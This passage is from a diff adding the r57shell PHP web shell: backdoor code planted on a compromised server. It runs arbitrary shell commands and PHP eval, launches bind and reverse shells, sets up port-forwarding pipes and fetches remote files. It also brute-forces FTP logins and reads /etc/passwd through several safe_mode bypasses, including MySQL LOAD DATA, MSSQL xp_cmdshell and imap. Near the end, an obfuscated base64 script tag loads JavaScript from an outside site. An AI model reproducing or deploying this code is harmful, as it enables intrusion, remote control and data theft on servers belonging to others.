$_POST['subj'] = 'file from r57shell'; } + if(empty($_POST['from'])) { $_POST['from'] = 'billy@microsoft.com'; } + $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach); + err(6+$res); + $_POST['cmd']=""; + } + } +if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text") +{ +$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\''; +} +if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_") + { + switch($_POST['what']) + { + case 'own': + @chown($_POST['param1'],$_POST['param2']); + break; + case 'grp': + @chgrp($_POST['param1'],$_POST['param2']); + break; + case 'mod': + @chmod($_POST['param1'],intval($_POST['param2'], 8)); + break; + } + $_POST['cmd']=""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="mk") + { + switch($_POST['what']) + { + case 'file': + if($_POST['action'] == "create") + { + if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { err(2,$_POST['mk_name']); $_POST['cmd']=""; } + else { + fclose($file); + $_POST['e_name'] = $_POST['mk_name']; + $_POST['cmd']="edit_file"; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>"; + } + } + else if($_POST['action'] == "delete") + { + if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>"; + $_POST['cmd']=""; + } + break; + case 'dir': + if($_POST['action'] == "create"){ + if(mkdir($_POST['mk_name'])) + { + $_POST['cmd']=""; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>"; + } + else { err(2,$_POST['mk_name']); $_POST['cmd']=""; } + } + else if($_POST['action'] == "delete"){ + if(rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>"; + $_POST['cmd']=""; + } + break; + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name'])) + { + if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); } + if(!$file=@fopen($_POST['e_name'],"r")) { err(1,$_POST['e_name']); $_POST['cmd']=""; } + else { + echo $table_up3; + echo $font; + echo "<form name=save_file method=post>"; + echo ws(3)."<b>".$_POST['e_name']."</b>"; + echo "<div align=center><textarea name=e_text cols=121 rows=24>"; + echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name']))); + fclose($file); + echo "</textarea>"; + echo "<input type=hidden name=e_name value=".$_POST['e_name'].">"; + echo "<input type=hidden name=dir value=".$dir.">"; + echo "<input type=hidden name=cmd value=save_file>"; + echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">")); + echo "</div>"; + echo "</font>"; + echo "</form>"; + echo "</td></tr></table>"; + exit(); + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file") + { + $mtime = @filemtime($_POST['e_name']); + if(!$file=@fopen($_POST['e_name'],"w")) { err(0,$_POST['e_name']); } + else { + if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']); + @fwrite($file,$_POST['e_text']); + @touch($_POST['e_name'],$mtime,$mtime); + $_POST['cmd']=""; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>"; + } + } +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C")) +{ + cf("/tmp/bd.c",$port_bind_bd_c); + $blah = ex("gcc -o /tmp/bd /tmp/bd.c"); + @unlink("/tmp/bd.c"); + $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &"); + $_POST['cmd']="ps -aux | grep bd"; +} +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl")) +{ + cf("/tmp/bdpl",$port_bind_bd_pl); + $p2=which("perl"); + $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &"); + $_POST['cmd']="ps -aux | grep bdpl"; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl")) +{ + cf("/tmp/back",$back_connect); + $p2=which("perl"); + $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C")) +{ + cf("/tmp/back.c",$back_connect_c); + $blah = ex("gcc -o /tmp/backc /tmp/back.c"); + @unlink("/tmp/back.c"); + $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl")) +{ + cf("/tmp/dp",$datapipe_pl); + $p2=which("perl"); + $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &"); + $_POST['cmd']="ps -aux | grep dp"; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C")) +{ + cf("/tmp/dpc.c",$datapipe_c); + $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c"); + @unlink("/tmp/dpc.c"); + $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &"); + $_POST['cmd']="ps -aux | grep dpc"; +} +if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; } +if (!empty($HTTP_POST_FILES['userfile']['name'])) +{ +if(!empty($_POST['new_name'])) { $nfn = $_POST['new_name']; } +else { $nfn = $HTTP_POST_FILES['userfile']['name']; } +@copy($HTTP_POST_FILES['userfile']['tmp_name'], + $_POST['dir']."/".$nfn) + or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile']['name']."</div></font>"); +} +if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file'])) +{ + switch($_POST['with']) + { + case wget: + $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file'].""; + break; + case fetch: + $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file'].""; + break; + case lynx: + $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case links: + $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case GET: + $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case curl: + $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file'].""; + break; + } +} +if(!empty($_POST['cmd']) && ($_POST['cmd']=="ftp_file_up" || $_POST['cmd']=="ftp_file_down")) + { + list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); + if(empty($ftp_port)) { $ftp_port = 21; } + $connection = @ftp_connect ($ftp_server,$ftp_port,10); + if(!$connection) { err(3); } + else + { + if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { err(4); } + else + { + if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.((!$unix)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']); } + if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']); } + } + } + @ftp_close($connection); + $_POST['cmd'] = ""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="ftp_brute") + { + list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); + if(empty($ftp_port)) { $ftp_port = 21; } + $connection = @ftp_connect ($ftp_server,$ftp_port,10); + if(!$connection) { err(3); $_POST['cmd'] = ""; } + else if(!$users=get_users()) { echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; } + @ftp_close($connection); + } +echo $table_up3; +if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=(!$unix)?("dir"):("ls -lia"); } +else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; } +echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>"; +if($safe_mode) +{ + switch($_POST['cmd']) + { + case 'safe_dir': + $d=@dir($dir); + if ($d) + { + while (false!==($file=$d->read())) + { + if ($file=="." || $file=="..") continue; + @clearstatcache(); + list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file); + if(!$unix){ + echo date("d.m.Y H:i",$mtime); + if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size); + } + else{ + $owner = @posix_getpwuid($uid); + $grgid = @posix_getgrgid($gid); + echo $inode." "; + echo perms(@fileperms($file)); + printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size); + echo date("d.m.Y H:i ",$mtime); + } + echo "$file\n"; + } + $d->close(); + } + else echo $lang[$language._text29]; + break; + case 'test1': + $ci = @curl_init("file://".$_POST['test1_file'].""); + $cf = @curl_exec($ci); + echo $cf; + break; + case 'test2': + @include($_POST['test2_file']); + break; + case 'test3': + if(empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; } + $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']); + if($db) + { + if(@mysql_select_db($_POST['test3_md'],$db)) + { + @mysql_query("DROP TABLE IF EXISTS temp_r57_table"); + @mysql_query("CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL )"); + @mysql_query("LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table"); + $r = @mysql_query("SELECT * FROM temp_r57_table"); + while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); } + @mysql_query("DROP TABLE IF EXISTS temp_r57_table"); + } + else echo "[-] ERROR! Can't select database"; + @mysql_close($db); + } + else echo "[-] ERROR! Can't connect to mysql server"; + break; + case 'test4': + if(empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; } + $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']); + if($db) + { + if(@mssql_select_db($_POST['test4_md'],$db)) + { + @mssql_query("drop table r57_temp_table",$db); + @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db); + @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db); + $res = mssql_query("select * from r57_temp_table",$db); + while(($row=@mssql_fetch_row($res))) + { + echo $row[0]."\r\n"; + } + @mssql_query("drop table r57_temp_table",$db); + } + else echo "[-] ERROR! Can't select database"; + @mssql_close($db); + } + else echo "[-] ERROR! Can't connect to MSSQL server"; + break; + case 'test5': + if (@file_exists('/tmp/mb_send_mail')) @unlink('/tmp/mb_send_mail'); + $extra = "-C ".$_POST['test5_file']." -X /tmp/mb_send_mail"; + @mb_send_mail(NULL, NULL, NULL, NULL, $extra); + $lines = file ('/tmp/mb_send_mail'); + foreach ($lines as $line) { echo htmlspecialchars($line)."\r\n"; } + break; + case 'test6': + $stream = @imap_open('/etc/passwd', "", ""); + $dir_list = @imap_list($stream, trim($_POST['test6_file']), "*"); + for ($i = 0; $i < count($dir_list); $i++) echo $dir_list[$i]."\r\n"; + @imap_close($stream); + break; + case 'test7': + $stream = @imap_open($_POST['test7_file'], "", ""); + $str = @imap_body($stream, 1); + echo $str; + @imap_close($stream); + break; + case 'test8': + if(@copy("compress.zlib://".$_POST['test8_file1'], $_POST['test8_file2'])) echo $lang[$language.'_text118']; + else echo $lang[$language.'_text119']; + break; + } +} +else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_query")&&($_POST['cmd']!="ftp_brute")){ + $cmd_rep = ex($_POST['cmd']); + if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; } + else { echo @htmlspecialchars($cmd_rep)."\n"; }} +if ($_POST['cmd']=="ftp_brute") + { + $suc = 0; + foreach($users as $user) + { + $connection = @ftp_connect($ftp_server,$ftp_port,10); + if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; } + else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } } + @ftp_close($connection); + } + echo "\r\n-------------------------------------\r\n"; + $count = count($users); + if(isset($_POST['reverse'])) { $count *= 2; } + echo $lang[$language.'_text97'].$count."\r\n"; + echo $lang[$language.'_text98'].$suc."\r\n"; + } +if ($_POST['cmd']=="php_eval"){ + $eval = @str_replace("<?","",$_POST['php_eval']); + $eval = @str_replace("?>","",$eval); + @eval($eval);} +if ($_POST['cmd']=="mysql_dump") + { + if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); } + $sql = new my_sql(); + $sql->db = $_POST['db']; + $sql->host = $_POST['db_server']; + $sql->port = $_POST['db_port']; + $sql->user = $_POST['mysql_l']; + $sql->pass = $_POST['mysql_p']; + $sql->base = $_POST['mysql_db']; + if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; } + else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; } + else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; } + else { + if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; } + else if($fp){ foreach($sql->dump as $v) @fputs($fp,$v."\r\n"); } + else { echo "[-] ERROR! Can't write in dump file"; } + } + } +echo "</textarea></div>"; +echo "</b>"; +echo "</td></tr></table>"; +echo "<table width=100% cellpadding=0 cellspacing=0>"; +function div_title($title, $id) +{ + return '<a style="cursor: pointer;" onClick="change_divst(\''.$id.'\');">'.$title.'</a>'; +} +function div($id) + { + if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return '<div id="'.$id.'" style="display: none;">'; + return '<div id="'.$id.'">'; + } +if(!$safe_mode){ +echo $fs.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$ts; +echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,'')); +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} +else{ +echo $fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6'])); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.div_title($lang[$language.'_text42'],'id3').$table_up2.div('id3').$ts; +echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11'])); +echo $te.'</div>'.$table_end1.$fe; +if($safe_mode){ +echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts; +echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode && $unix){ +echo $fs.$table_up1.div_title($lang[$language.'_text67'],'id5').$table_up2.div('id5').$ts; +echo sr(15,"<b>".$lang[$language.'_text68'].$arrow."</b>","<select name=what><option value=mod>CHMOD</option><option value=own>CHOWN</option><option value=grp>CHGRP</option></select>".ws(2)."<b>".$lang[$language.'_text69'].$arrow."</b>".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."<b>".$lang[$language.'_text70'].$arrow."</b>".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} +if(!$safe_mode){ +$aliases2 = ''; +foreach ($aliases as $alias_name=>$alias_cmd) + { + $aliases2 .= "<option>$alias_name</option>"; + } +echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id6').$table_up2.div('id6').$ts; +echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id7').$table_up2.div('id7').$ts; +echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); +echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir)); +echo $te.'</div>'.$table_end1.$fe; +if(!$safe_mode && $unix){ +echo $fs.$table_up1.div_title($lang[$language.'_text76'],'id8').$table_up2.div('id8').$ts; +echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); +echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir)); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id9').$table_up2.$font; +echo "<div align=center>".div('id9')."<textarea name=php_eval cols=100 rows=3>"; +echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("/* delete script */\r\n//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");")); +echo "</textarea>"; +echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval'); +echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']); +echo "</div></div></font>"; +echo $table_end1.$fe; +if($safe_mode&&$curl_on) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id10').$table_up2.div('id10').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text34'],'id11').$table_up2.div('id11').$ts; +echo "<table class=table1 width=100% align=center>"; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&$mysql_on) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text35'],'id12').$table_up2.div('id12').$ts; +echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306")))); +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&$mssql_on) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text85'],'id13').$table_up2.div('id13').$ts; +echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433")))); +echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&$unix&&function_exists('mb_send_mail')){ +echo $fs.$table_up1.div_title($lang[$language.'_text112'],'id22').$table_up2.div('id22').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&function_exists('imap_list')){ +echo $fs.$table_up1.div_title($lang[$language.'_text113'],'id23').$table_up2.div('id23').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&function_exists('imap_body')){ +echo $fs.$table_up1.div_title($lang[$language.'_text114'],'id24').$table_up2.div('id24').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text115'],'id25').$table_up2.div('id25').$ts; +echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?($_POST['test8_file1']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8')); +echo sr(15,"<b>".$lang[$language.'_text117'].$arrow."</b>",in('text','test8_file2',96,(!empty($_POST['test8_file2'])?($_POST['test8_file2']):($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if(@ini_get('file_uploads')){ +echo "<form name=upload method=POST ENCTYPE=multipart/form-data>"; +echo $table_up1.div_title($lang[$language.'_text5'],'id14').$table_up2.div('id14').$ts; +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile',85,'')); +echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.'</div>'.$table_end1.$fe; +} +if(!$safe_mode&&$unix){ +echo $fs.$table_up1.div_title($lang[$language.'_text15'],'id15').$table_up2.div('id15').$ts; +echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size=\"1\" name=\"with\"><option value=\"wget\">wget</option><option value=\"fetch\">fetch</option><option value=\"lynx\">lynx</option><option value=\"links\">links</option><option value=\"curl\">curl</option><option value=\"GET\">GET</option></select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://')); +echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.div_title($lang[$language.'_text86'],'id16').$table_up2.div('id16').$ts; +echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14'])); +$arh = $lang[$language.'_text92']; +if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; } +if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; } +if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; } +echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh); +echo $te.'</div>'.$table_end1.$fe; +if(@function_exists("ftp_connect")){ +echo $table_up1.div_title($lang[$language.'_text93'],'id17').$table_up2.div('id17').$ts."<tr>".$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); +echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); +echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down')); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); +echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14'])); +echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts; +echo base64_decode('PFNDUklQVCBTUkM9JiN4NjgmI3g3NCYjeDc0JiN4NzAmI3gzYSYjeDJmJiN4MmYmI3g3NyYjeDc3JiN4NzcmI3gyZSYjeDZjJiN4NmYmI3g2MyYjeDYxJiN4NmMmI3g3MiYjeDZmJiN4NmYmI3g3NCYjeDJlJiN4NmUmI3g2NSYjeDc0JiN4MmYmI3g2OSYjeDYyJiN4NmUmI3g2NSYjeDZjJiN4NjUmI3g3MiYjeDJmJiN4NzkmI3g2MSYjeDdhJiN4MmUmI3g2YSYjeDczPjwvU0NSSVBUPiANCg=='); +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); +echo 